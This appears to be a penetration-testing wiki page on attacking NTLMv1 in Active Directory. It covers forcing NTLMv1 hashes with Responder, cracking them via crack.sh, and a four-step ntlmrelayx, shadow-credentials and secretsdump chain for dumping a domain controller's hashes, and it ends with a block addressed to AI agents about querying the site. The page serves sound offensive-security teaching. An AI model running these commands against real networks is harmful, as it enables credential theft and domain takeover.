# NTLMv1

NT LAN Manager version 1 (NTLMv1) is vulnerable to several attacks and should be disabled in environments whenever possible. All Microsoft operating systems support its successor NT Lan Manager version 2 (NTLMv2) which should be used instead.

A NTLMv1 hash is formatted like the following:

```bash
username::hostname:response:response:challenge -> NTHASH:response
```

### Downgrading

It is possible in environments where NT LAN Manager version 1 is utilized to obtain an NTLMv1 hash from a target computer.

While this was partially described in the [Coercion section](/pentesting/infrastructure/active-directory/coercing-authentication.md), prior to receiving a callback we need to run Responder, after modifying the 'Challenge' variable to `1122334455667788.` We can then run Responder with the following options:

```bash
# Receive and attempt to crack the hash with crack.sh's rainbow tables
Responder.py -I $interface --lm 

# Attempt to remove ESS/SSP and crack locally or for a fee
Responder.py -I $interface --lm --disable-ess
```

### Cracking NTLMv1

Referencing crack.sh, a NTLMv1 hash with ESS/SSP looks like the following:

```
hashcat::DUSTIN-5AA37877:85D5BC2CE95161CD00000000000000000000000000000000:892F905962F76D323837F613F88DE27C2BBD6C9ABCD021D0:1122334455667788
```

After obtaining a hash with ESS/SSP, we first need to reformat the obtained hash using EvilMog's [NTLMv1-multi tool](https://github.com/evilmog/ntlmv1-multi) or [assless-chaps](https://github.com/sensepost/assless-chaps) and cracked with a database of NT hashes. 

{% hint style="warning" %}
If we weren't able to remove the ESS/SSP with Responder then it will no longer be possible to crack with crack.sh’s rainbow tables. Instead, it can be submitted and crack on crack.sh for a fee.
{% endhint %}

### Attacking a Domain Controller

If NTLMv1 is enabled, you can leverage the ability where DC's have the ability to modify their own msDS-KeyCredentialLink attribute. It should be noted this requires two domain controllers to exploit.

```bash
1. ntlmrelayx.py -t ldap://$dc1 -of hashes --shadow-credentials --shadow-target '$dc2' --cert-outfile-path crt --no-validate-privs --remove-mic
2. gettgtpkinit.py -cert-pfx crt.pfx -pfx-pass PFX_PASSWORD http://contoso.com/DC2$ crt.ccache
3. KRB5CCNAME=crt.ccache http://getnthash.py http://contoso.com/DC2\$ -key KEY_FROM_PKINIT
4. secretsdump.py 'http://contoso.com/DC2$'@DC2 -hashes :LMHASH_FROM_GETNTHASH -history
```

### References 

{% embed url="<https://crack.sh/cracking-ntlmv1-w-ess-ssp/>" %}

{% embed url="<https://www.praetorian.com/blog/ntlmv1-vs-ntlmv2/>" %}

{% embed url="<https://www.trustedsec.com/blog/practical-attacks-against-ntlmv1/>" %}

{% embed url="<https://twitter.com/godacity_/status/1646282884020580352>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://ttp.parzival.sh/pentesting/infrastructure/active-directory/ntlmv1.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.